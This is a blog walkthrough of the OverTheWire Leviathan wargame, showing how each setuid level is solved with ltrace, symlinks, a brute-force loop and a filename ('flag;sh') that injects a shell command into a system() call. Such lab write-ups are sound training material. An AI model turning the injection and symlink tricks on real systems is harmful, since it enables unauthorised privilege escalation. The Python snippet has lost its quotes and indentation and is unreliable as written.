OverTheWire Leviathan Levels 0 to 7 Walkthrough

OverTheWire Leviathan Levels 0 to 7 Walkthrough

Walkthrough on solving the Leviathan series from the wargame site, OverTheWire

To begin this post it should be stated the following are spoilers for the Leviathan category challenges.

Leviathan0

# ssh -l leviathan0 leviathan.labs.overthewire.org

Once connected the server we follow the instructions give, “Data for the levels can be found in the homedirectories”.

leviathan0@melinda:~$ ls -lha
total 24K
drwxr-xr-x 3 root root 4.0K Nov 14 2014 .
drwxr-xr-x 167 root root 4.0K Jul 9 16:27 ..
drwxr-x--- 2 leviathan1 leviathan0 4.0K Jul 17 16:44 .backup
-rw-r--r-- 1 root root 220 Apr 9 2014 .bash_logout
-rw-r--r-- 1 root root 3.6K Apr 9 2014 .bashrc
-rw-r--r-- 1 root root 675 Apr 9 2014 .profile

Obviously the directory “.backup” stands out to us. There is a single file within the directory called bookmarks.html. We simply need to use the “grep” command to look over the file to find the password.

leviathan0@melinda:~$ grep "password" .backup/bookmarks.html
the password for leviathan1 is *********

Leviathan1 -> Leviathan2

leviathan1@melinda:~$ ls -lh
total 8.0K
-r-sr-x--- 1 leviathan2 leviathan1 7.4K Nov 14 2014 check
leviathan1@melinda:~$ file check
check: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0d17ae20f672ebc7d440bb4562277561cc60f2d0, not stripped
leviathan1@melinda:~$ ./check
password: asd
Wrong password, Good Bye ...

For the next level, we are given a setuid 32-bit ELF file. The file requires the user to enter in the password. I assume that the entered password is then checked and if correct, the user will be granted with higher level privileges for the leviathan2 user. We can begin to get a better understanding of the binary by running the “strings” command.

leviathan1@melinda:~$ strings ./check
/lib/ld-linux.so.2
Eb'ua
libc.so.6
_IO_stdin_used
puts
__stack_chk_fail
printf
getchar
system
strcmp
__libc_start_main
__gmon_start__
GLIBC_2.4
GLIBC_2.0
PTRh`
QVh-
D$,1
D$%secrf
D$)et
D$ love
T$,e3
[^_]
password:
/bin/sh
Wrong password, Good Bye ...
;*2$"
GCC: (Ubuntu 4.8.2-19ubuntu1) 4.8.2
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
crtstuff.c
__JCR_LIST__
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
completed.6590
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
check.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
strcmp@@GLIBC_2.0
_ITM_deregisterTMCloneTable
__x86.get_pc_thunk.bx
data_start
printf@@GLIBC_2.0
getchar@@GLIBC_2.0
_edata
_fini
__stack_chk_fail@@GLIBC_2.4
__data_start
puts@@GLIBC_2.0
system@@GLIBC_2.0
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_start_main@@GLIBC_2.0
__libc_csu_init
_end
_start
_fp_hw
__bss_start
main
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
_init

From the output of the above command, no strings actually stood out as possible candidates for the password for the binary. Which the next step would be to debug the binary, this can be done using gdb, strace, ltrace. For this challenge, we only really care what is occurring during the comparison function performed by “strcmp()”. Is it at this point we’d expect to see our input and the correct values being passed to the libc library.

leviathan1@melinda:~$ ltrace ./check
__libc_start_main(0x804852d, 1, 0xffffd7a4, 0x80485f0
printf("password: ") = 10
getchar(0x8048680, 47, 0x804a000, 0x8048642password: a
) = 97
getchar(0x8048680, 47, 0x804a000, 0x8048642) = 10
getchar(0x8048680, 47, 0x804a000, 0x8048642a
) = 97
strcmp("a\na", "sex") = -1
puts("Wrong password, Good Bye ..."Wrong password, Good Bye ...
) = 29
+++ exited (status 0) +++

The correct value we can see to be “sex”.

leviathan1@melinda:~$ ./check
password: sex
$ id
uid=12001(leviathan1) gid=12001(leviathan1) euid=12002(leviathan2) groups=12002(leviathan2),12001(leviathan1)
$ cat /etc/leviathan_pass/leviathan2
*********

Leviathan2 -> Leviathan3

leviathan2@melinda:~$ ls -lh
total 8.0K
-r-sr-x--- 1 leviathan3 leviathan2 7.4K Nov 14 2014 printfile
leviathan2@melinda:~$ file printfile
printfile: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=d765b4023e214e3fbfe71aa63554713a57e39520, not stripped
leviathan2@melinda:~$ ./printfile
*** File Printer ***
Usage: ./printfile filename
leviathan2@melinda:~$ ./printfile a
You cant have that file...

So we are given another setuid ELF binary, it requires a filename to be given as part of the argument. Let’s see what happens when we pass the binary a file that actually exists.

leviathan2@melinda:~$ cd /tmp/tmp.z14nhETpif
leviathan2@melinda:/tmp/tmp.z14nhETpif$ touch test
leviathan2@melinda:/tmp/tmp.z14nhETpif$ ltrace ~/printfile /tmp/tmp.z14nhETpif/test
__libc_start_main(0x804852d, 2, 0xffffd734, 0x8048600
access("/tmp/tmp.z14nhETpif/test", 4) = 0
snprintf("/bin/cat /tmp/tmp.z14nhETpif/tes"..., 511, "/bin/cat %s", "/tmp/tmp.z14nhETpif/test") = 33
system("/bin/cat /tmp/tmp.z14nhETpif/tes"...
--- SIGCHLD (Child exited) ---
) = 0
+++ exited (status 0) +++

The binary calls system() and then attempts to content of the file. So what if we pass the password file for the next level?

leviathan2@melinda:/tmp/tmp.z14nhETpif$ ltrace ~/printfile /etc/leviathan_pass/leviathan3__libc_start_main(0x804852d, 2, 0xffffd734, 0x8048600
access("/etc/leviathan_pass/leviathan3", 4) = -1
puts("You cant have that file..."You cant have that file...
) = 27
+++ exited (status 1) +++

Interesting, we don’t have the permissions for the file at the current time of the check. So it appears the goal of this challenge is to attempt to bypass the permission check for this level. Potentially we can use “spaces” in the filename to confuse the binary during the check and have the system() misinterprets the filename as well.

leviathan2@melinda:/tmp/tmp.z14nhETpif$ touch flag\ false
leviathan2@melinda:/tmp/tmp.z14nhETpif$ echo "test" > flag
leviathan2@melinda:/tmp/tmp.z14nhETpif$ ltrace ~/printfile /tmp/tmp.z14nhETpif/flag\ false
__libc_start_main(0x804852d, 2, 0xffffd734, 0x8048600
access("/tmp/tmp.z14nhETpif/flag false", 4) = 0
snprintf("/bin/cat /tmp/tmp.z14nhETpif/fla"..., 511, "/bin/cat %s", "/tmp/tmp.z14nhETpif/flag false") = 39
system("/bin/cat /tmp/tmp.z14nhETpif/fla"...test
/bin/cat: false: No such file or directory

— SIGCHLD (Child exited) —
) = 256
+++ exited (status 0) +++

As we can see, there was a double “cat” attempt and the contents of the flag file were printed to the screen. So what happens if we create a Symlink from flag to the leviathan3 password location.

leviathan2@melinda:/tmp/tmp.z14nhETpif$ rm flag
leviathan2@melinda:/tmp/tmp.z14nhETpif$ ln -s /etc/leviathan_pass/leviathan3 flag
leviathan2@melinda:/tmp/tmp.z14nhETpif$ ltrace ~/printfile /tmp/tmp.z14nhETpif/flag\ false
__libc_start_main(0x804852d, 2, 0xffffd734, 0x8048600
access("/tmp/tmp.z14nhETpif/flag false", 4) = 0
snprintf("/bin/cat /tmp/tmp.z14nhETpif/fla"..., 511, "/bin/cat %s", "/tmp/tmp.z14nhETpif/flag false") = 39
system("/bin/cat /tmp/tmp.z14nhETpif/fla".../bin/cat: /tmp/tmp.z14nhETpif/flag: Permission denied
/bin/cat: false: No such file or directory

— SIGCHLD (Child exited) —
) = 256
+++ exited (status 0) +++

No luck! Maybe reverse the order? I’m not going to show the output, but it didn’t work either. So what if I add an additional command to be executed after the “cat” command? We’ll need to pass the command as past of the filename.

leviathan2@melinda:/tmp/tmp.z14nhETpif$ touch "flag;sh"
leviathan2@melinda:/tmp/tmp.z14nhETpif$ ltrace ~/printfile "/tmp/tmp.z14nhETpif/flag;sh"
__libc_start_main(0x804852d, 2, 0xffffd734, 0x8048600
access("/tmp/tmp.z14nhETpif/flag;sh", 4) = 0
snprintf("/bin/cat /tmp/tmp.z14nhETpif/fla"..., 511, "/bin/cat %s", "/tmp/tmp.z14nhETpif/flag;sh") = 36
system("/bin/cat /tmp/tmp.z14nhETpif/fla".../bin/cat: /tmp/tmp.z14nhETpif/flag: Permission denied
$ id
uid=12002(leviathan2) gid=12002(leviathan2) groups=12002(leviathan2)
$ exit

— SIGCHLD (Child exited) —
) = 0
+++ exited (status 0) +++

So the command executes and we get a shell, but not as the correct user. Before giving up on this path for the challenge, I decided to try again but outside strace.

leviathan2@melinda:/tmp/tmp.z14nhETpif$ ~/printfile "/tmp/tmp.z14nhETpif/flag;sh"
/bin/cat: /tmp/tmp.z14nhETpif/flag: Permission denied
$ id
uid=12002(leviathan2) gid=12002(leviathan2) euid=12003(leviathan3) groups=12003(leviathan3),12002(leviathan2)
$ cat /etc/leviathan_pass/leviathan3
*********

Leviathan3 -> Leviathan4

leviathan3@melinda:~$ ls -lh
total 12K
-r-sr-x--- 1 leviathan4 leviathan3 9.8K Mar 21 2015 level3
leviathan3@melinda:~$ file level3
level3: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=9ee1bc84cc2a39de9df95a77cb807136b1ba6db2, not stripped
leviathan3@melinda:~$ ./level3
Enter the password> a
bzzzzzzzzap. WRONG

So this time the setuid binary we are given asks for a password. We should quickly run the “strings” command over the binary, to see if the password is a hardcoded password. However I am just going to run the binary again with ltrace attached, which was the solution for an earlier challenge.

leviathan3@melinda:~$ ltrace ./level3
__libc_start_main(0x80485fe, 1, 0xffffd794, 0x80486d0
strcmp("h0no33", "kakaka") = -1
printf("Enter the password> ") = 20
fgets(Enter the password> a
"a\n", 256, 0xf7fcac20) = 0xffffd58c
strcmp("a\n", "snlprintf\n") = -1
puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG
) = 19
+++ exited (status 0) +++

We can see our supplied input being compared with a string, let’s see if that is the password we need to get a shell.

leviathan3@melinda:~$ ./level3
Enter the password> snlprintf
[You've got shell]!
$ id
uid=12003(leviathan3) gid=12003(leviathan3) euid=12004(leviathan4) groups=12004(leviathan4),12003(leviathan3)
$ cat /etc/leviathan_pass/leviathan4
*********

Leviathan4 -> Leviathan5

leviathan4@melinda:~$ ls -lh
total 0
leviathan4@melinda:~$ ls -lha
total 24K
drwxr-xr-x 3 root root 4.0K Nov 14 2014 .
drwxr-xr-x 167 root root 4.0K Jul 9 16:27 ..
-rw-r--r-- 1 root root 220 Apr 9 2014 .bash_logout
-rw-r--r-- 1 root root 3.6K Apr 9 2014 .bashrc
-rw-r--r-- 1 root root 675 Apr 9 2014 .profile
dr-xr-x--- 2 root leviathan4 4.0K Nov 14 2014 .trash
leviathan4@melinda:~$ ls -lha .trash/
total 16K
dr-xr-x--- 2 root leviathan4 4.0K Nov 14 2014 .
drwxr-xr-x 3 root root 4.0K Nov 14 2014 ..
-r-sr-x--- 1 leviathan5 leviathan4 7.3K Nov 14 2014 bin
leviathan4@melinda:~$ file .trash/bin
.trash/bin: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=3be0f50b480c24c4223fc43cca29ab377e140fc7, not stripped

When you run the binary in ltrace, we can see the binary opens the password file for leviathan5.

leviathan4@melinda:~$ ltrace .trash/bin
__libc_start_main(0x80484cd, 1, 0xffffd794, 0x80485c0
fopen("/etc/leviathan_pass/leviathan5", "r") = 0
+++ exited (status 255) +++

If you run the binary outside the ltrace, you get a string of binary numbers. Simply convert back to ascii to get the password.

Leviathan5 -> Leviathan6

leviathan5@melinda:~$ ls -lh
total 8.0K
-r-sr-x--- 1 leviathan6 leviathan5 7.5K Nov 14 2014 leviathan5
leviathan5@melinda:~$ file leviathan5
leviathan5: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=c71b3ae0d0395851879ee6fb8ede92e1676ecf71, not stripped

leviathan5@melinda:~$ ltrace ./leviathan5
__libc_start_main(0x80485ed, 1, 0xffffd794, 0x8048690
fopen("/tmp/file.log", "r") = 0
puts("Cannot find /tmp/file.log"Cannot find /tmp/file.log
) = 26
exit(-1
+++ exited (status 255) +++
leviathan5@melinda:~$ echo "test" > /tmp/file.log
leviathan5@melinda:~$ ltrace ./leviathan5
__libc_start_main(0x80485ed, 1, 0xffffd794, 0x8048690
fopen("/tmp/file.log", "r") = 0x804b008
fgetc(0x804b008) = 't'
feof(0x804b008) = 0
putchar(116, 0x8048720, 0xffffd79c, 0xf7e5610d) = 116
fgetc(0x804b008) = 'e'
feof(0x804b008) = 0
putchar(101, 0x8048720, 0xffffd79c, 0xf7e5610d) = 101
fgetc(0x804b008) = 's'
feof(0x804b008) = 0
putchar(115, 0x8048720, 0xffffd79c, 0xf7e5610d) = 115
fgetc(0x804b008) = 't'
feof(0x804b008) = 0
putchar(116, 0x8048720, 0xffffd79c, 0xf7e5610d) = 116
fgetc(0x804b008) = '\n'
feof(0x804b008) = 0
putchar(10, 0x8048720, 0xffffd79c, 0xf7e5610dtest
) = 10
fgetc(0x804b008) = '\377'
feof(0x804b008) = 1
fclose(0x804b008) = 0
getuid() = 12005
setuid(12005) = 0
unlink("/tmp/file.log") = 0
+++ exited (status 0) +++

This is an interesting challenge, it looks for the file “/tmp/file.log” and then unlinks it from the directory it is in. So what if we create a Symlink in that location to back to the leviathan 6 password file.

leviathan5@melinda:~$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log
leviathan5@melinda:~$ ltrace ./leviathan5
__libc_start_main(0x80485ed, 1, 0xffffd794, 0x8048690
fopen("/tmp/file.log", "r") = 0
puts("Cannot find /tmp/file.log"Cannot find /tmp/file.log
) = 26
exit(-1
+++ exited (status 255) +++

That’s strange, when the binary is attached to ltrace it can not find the Symlinked file. So we’ll just run it outside of ltrace again.

leviathan5@melinda:~$ ./leviathan5
*********

Leviathan6 -> Leviathan7

leviathan6@melinda:~$ ls -lh
total 8.0K
-r-sr-x--- 1 leviathan7 leviathan6 7.4K Nov 14 2014 leviathan6
leviathan6@melinda:~$ file leviathan6
leviathan6: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=477bdc2883903e1a94b335e173c9149bc2755ab8, not stripped
leviathan6@melinda:~$ ./leviathan6
usage: ./leviathan6
leviathan6@melinda:~$ ./leviathan6 4444
Wrong

So this looks like we just need to write a small keygen for this challenge. Time to break out the Python.

leviathan6@melinda:~$ mktemp -d
/tmp/tmp.336ewBjxFw
leviathan6@melinda:~$ cd /tmp/tmp.336ewBjxFw
leviathan6@melinda:~$ touch sol.py

With the directory setup, I began writing a small python wrapper which would iterate between all the possible combinations from 0000 to 9999.

import subprocess

for x in xrange(0, 10000):
i = {0:04}.format(x)
result = subprocess.call([/home/leviathan6/leviathan6, str(i)])
if result != 6:
print(i)

The above script was able to eventually get the right combination to get me the shell I needed.

Wrong
Wrong
Wrong
$ id
uid=12006(leviathan6) gid=12006(leviathan6) euid=12007(leviathan7) groups=12007(leviathan7),12006(leviathan6)
$ cat /etc/leviathan_pass/leviathan7
*********

This concludes the Leviathan challenge series currently hosted by overthewire.org.


© 2021. All rights reserved.

Powered by Hydejack v9.1.6